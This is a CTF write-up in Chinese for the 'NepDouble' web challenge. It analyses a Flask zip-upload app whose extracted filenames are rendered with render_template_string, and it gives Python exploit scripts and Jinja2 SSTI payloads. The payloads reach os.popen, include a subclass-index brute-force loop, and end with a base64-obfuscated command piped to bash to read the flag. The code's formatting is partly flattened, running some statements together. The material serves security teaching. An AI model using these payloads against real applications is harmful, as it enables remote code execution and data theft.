一、题目
题目:NepDouble
题目描述:
二、WriteUp
1 . 源码分析
@app. route ( '/' , methods= [ 'GET' , 'POST' ] )
def main ( ) : if request. method != "POST" : return 'Please use POST method to upload files.' try : clear_uploads_folder ( ) files = request. files. get ( 'tp_file' , None) if not files: return 'No file uploaded.' file_size = len ( files. read ( ) ) files. seek ( 0 ) file_extension = files. filename. rsplit ( '.' , 1 ) [ - 1 ] . lower ( ) if file_extension != 'zip' : return 'Invalid file type. Please upload a .zip file.' timestamp = datetime. datetime. now ( ) . strftime ( '%Y%m%d%H%M%S' ) md5_dir_name = hashlib. md5 ( timestamp. encode ( ) ) . hexdigest ( ) unzip_folder = os. path. join ( app. config[ 'UPLOAD_FOLDER' ] , md5_dir_name) os. makedirs ( unzip_folder, exist_ok= True ) with ZipFile ( files) as zip_file: zip_file. extractall ( path= unzip_folder) files_list = [ ] for root, dirs, files in os. walk ( unzip_folder) : for file in files: print ( file) file_path = os. path. join ( root, file) relative_path = os. path. relpath ( file_path, app. config[ 'UPLOAD_FOLDER' ] ) link = f'<a href="/cat?file={relative_path}">{file}</a>' files_list. append ( link) return render_template_string ( '<br>' . join ( files_list) ) except ValueError: return 'Invalid filename.' except Exception as e: return 'An error occurred. Please check your file and try again.'
2 . 功能测试
import requestsfile_path = './test.zip'
url = 'https://neptune-59769.nepctf.lemonprefect.cn/' with open ( file_path, 'rb' ) as f: files = { 'tp_file' : ( file_path. split( '/' ) [ - 1 ] , f, 'application/zip' ) } response = requests. post( url, files= files)
print ( response. text)
3 . 访问< a href = "/cat?file=5d547db16cff3d5848781938e9ec70ce/zipfile/1.jpg" > 1 .jpg< /a>
/cat?file= 5d547db16cff3d5848781938e9ec70ce/zipfile/1.jpg
即得到文件内容
4 . 漏洞函数
return render_template_string( '<br>' .join( files_list))
在渲染文件名时 可以进行python ssti模板注入
5 . exp
import requests
import zipfile
import os
import re
import htmlcontent_payload = 'whatever'
file_name = input ( "input filename:" )
zip_file_name = 'payload.zip'
file_path = './payload.zip'
url = 'https://neptune-60709.nepctf.lemonprefect.cn' with open ( file_name, 'w' ) as f: f. write( content_payload) with zipfile. ZipFile( zip_file_name, 'w' ) as zipf: zipf. write( file_name) os. remove( file_name) with open ( file_path, 'rb' ) as f: files = { 'tp_file' : ( file_path. split( '/' ) [ - 1 ] , f, 'application/zip' ) } response = requests. post( url, files= files) os. remove( zip_file_name)
href = html. unescape( response. text)
print ( href)
{ { } } 是表达式
{ { '' .__class__} }
{ { '' .__class__.__bases__[ 0 ] .__subclasses__( ) [ 0 ] .__init__.__globals__.keys( ) } }
{ { '' .__class__.__mro__[ 0 ] .__subclasses__( ) } }
{ { '' .__class__.__mro__[ 1 ] .__subclasses__( ) } }
{ { '' .__class__.__mro__[ 1 ] .__subclasses__( ) [ 222 ] .__init__} }
{ { '' .__class__.__mro__[ 1 ] .__subclasses__( ) [ 209 ] .__init__.__globals__.keys( ) } }
{ { '' .__class__.__mro__[ 1 ] .__subclasses__( ) [ 209 ] .__init__.__globals__[ "os" ] [ "popen" ] ( "ls" ) .read( ) } }
{ { '' .__class__.__mro__[ 1 ] .__subclasses__( ) [ 222 ] .__init__.func_globals.values( ) [ 13 ] [ 'eval' ] ( '__import__(\"os\").popen(\"ls\").read()' ) } }
import requests
import zipfile
import os
import re
import htmlfor i in range ( 1000 ) : content_payload = 'whatever' file_name = "{{''.__class__.__mro__[1].__subclasses__()[" + str ( i) + "].__init__.__globals__.keys()}}" zip_file_name = 'payload.zip' file_path = './payload.zip' url = 'https://neptune-42781.nepctf.lemonprefect.cn' with open ( file_name, 'w' ) as f: f. write( content_payload) with zipfile. ZipFile( zip_file_name, 'w' ) as zipf: zipf. write( file_name) os. remove( file_name) with open ( file_path, 'rb' ) as f: files = { 'tp_file' : ( file_path. split( '/' ) [ - 1 ] , f, 'application/zip' ) } response = requests. post( url, files= files) os. remove( zip_file_name) href = html. unescape( response. text) if "\'os\'" in href: print ( i)
{ { '' .__class__.__mro__[ 1 ] .__subclasses__( ) [ 209 ] .__init__.__globals__[ 'os' ] [ 'popen' ] ( 'ls' ) .read( ) } }
在文件系统中,斜杠 / 被用作路径分隔符,因此它不能作为文件名的一部分。如果您尝试创建一个包含 / 的文件名,将会引发 FileNotFoundError 或者其它错误。
import requests
import zipfile
import os
import re
import htmlcontent_payload = 'whatever'
file_name = "{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__['os']['popen']('echo Y2F0IC9mbGFn|base64 -d|bash').read()}}"
zip_file_name = 'payload.zip'
file_path = './payload.zip'
url = 'https://neptune-60709.nepctf.lemonprefect.cn' with open ( file_name, 'w' ) as f: f. write( content_payload) with zipfile. ZipFile( zip_file_name, 'w' ) as zipf: zipf. write( file_name) os. remove( file_name) with open ( file_path, 'rb' ) as f: files = { 'tp_file' : ( file_path. split( '/' ) [ - 1 ] , f, 'application/zip' ) } response = requests. post( url, files= files) os. remove( zip_file_name)
href = html. unescape( response. text)
print ( href)
三、总结
四、参考链接